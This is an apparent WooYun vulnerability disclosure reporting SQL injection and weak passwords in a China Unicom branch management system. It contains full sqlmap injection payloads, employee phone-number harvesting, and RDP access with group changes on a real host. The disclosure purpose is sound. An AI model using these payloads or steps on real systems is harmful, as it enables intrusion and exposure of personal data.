当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-058339

漏洞标题：中国联通某分公司建设维护管理系统SQL注入及弱口令

相关厂商：中国联通

漏洞作者： cuger

提交时间：2014-05-07 10:42

修复时间：2014-06-21 10:42

公开时间：2014-06-21 10:42

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-07： 细节已通知厂商并且等待厂商处理中
2014-05-10： 厂商已经确认，细节仅向厂商公开
2014-05-20： 细节向核心白帽子及相关领域专家公开
2014-05-30： 细节向普通白帽子公开
2014-06-09： 细节向实习白帽子公开
2014-06-21： 细节向公众公开

简要描述：

中国联通某分公司建设维护管理系统SQL注入及弱口令

详细说明：

问题链接 http://pldltjw.net/login.aspx
中国联通辽宁省大连市普兰店分公司的一个系统
无意中发现一个未授权访问页面：http://pldltjw.net/index.aspx，如下图所示：

1.jpg


差不多可以确定有很多弱口令，但是没有手机号码啊。怎么办呢？好在登陆框存在SQL注入，那就丢sqlmap里面跑吧

sqlmap identified the following injection points with a total of 68 HTTP(s) requests:
---
Place: POST
Parameter: UserName
    Type: boolean-based blind
    Title: Microsoft SQL Server/Sybase stacked conditional-error blind queries
    Payload: __LASTFOCUS=&__VIEWSTATE=/wEPDwUKLTE0ODAzMzk3MQ9kFgICAw9kFgQCAw8WAh4JaW5uZXJodG1sBQ/nlKjmiLfkuI3lrZjlnKhkAgcPFgIfAGVkZLkc0gPlVixU4fejbjZJ6ft8kIsg&UserName=admin'; IF(2370=2370) SELECT 2370 ELSE DROP FUNCTION zAtc--&password=123456&Log_Submit=&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=/wEWBAK7rYOrAwKvruq2CALyveCRDwLai5HPDMmKZC5o4styQOt/sWHMMnTSC7gU
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: __LASTFOCUS=&__VIEWSTATE=/wEPDwUKLTE0ODAzMzk3MQ9kFgICAw9kFgQCAw8WAh4JaW5uZXJodG1sBQ/nlKjmiLfkuI3lrZjlnKhkAgcPFgIfAGVkZLkc0gPlVixU4fejbjZJ6ft8kIsg&UserName=admin' AND 5597=CONVERT(INT,(SELECT CHAR(113)+CHAR(109)+CHAR(106)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (5597=5597) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(103)+CHAR(113)+CHAR(98)+CHAR(113))) AND 'qdca'='qdca&password=123456&Log_Submit=&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=/wEWBAK7rYOrAwKvruq2CALyveCRDwLai5HPDMmKZC5o4styQOt/sWHMMnTSC7gU
    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: __LASTFOCUS=&__VIEWSTATE=/wEPDwUKLTE0ODAzMzk3MQ9kFgICAw9kFgQCAw8WAh4JaW5uZXJodG1sBQ/nlKjmiLfkuI3lrZjlnKhkAgcPFgIfAGVkZLkc0gPlVixU4fejbjZJ6ft8kIsg&UserName=admin' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(109)+CHAR(106)+CHAR(98)+CHAR(113)+CHAR(107)+CHAR(108)+CHAR(116)+CHAR(75)+CHAR(71)+CHAR(85)+CHAR(73)+CHAR(85)+CHAR(121)+CHAR(100)+CHAR(113)+CHAR(103)+CHAR(113)+CHAR(98)+CHAR(113),NULL,NULL,NULL-- &password=123456&Log_Submit=&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=/wEWBAK7rYOrAwKvruq2CALyveCRDwLai5HPDMmKZC5o4styQOt/sWHMMnTSC7gU
---
web server operating system: Windows
web application technology: ASP.NET 0
back-end DBMS: Microsoft SQL Server 2005
current user is DBA:    True


DBA权限，开了3389，但是无法添加用户，后来远程桌面连接发现时因为安全狗的原因，不过还是可以执行一些系统命令，后面再说。
利用sqlmap跑出来的一些手机号码如下图所示【只跑了一部分】：

2.jpg


随便找一个手机号码试试：

3.jpg


嗯，员工姓名和手机号码都有了，社工什么的也许有用处。

漏洞证明：

telnet 3389端口打开，但是由于添加用户不成功，就试试net user命令：

4.jpg


有一个用网站域名命名的用户，然后发现也存在弱口令。。。。和用户名一样，不得不说，我的运气还行

5.jpg


嗯，就到这里吧，pldltjw.net这个用户原本没有加入RDP用户组，测试的时候加入了该组，自行删除吧，没有上传木马或者留后门

修复方案：

修复弱口令

版权声明：转载请注明来源 cuger@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2014-05-10 00:16

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给辽宁分中心处置。

最新状态：

暂无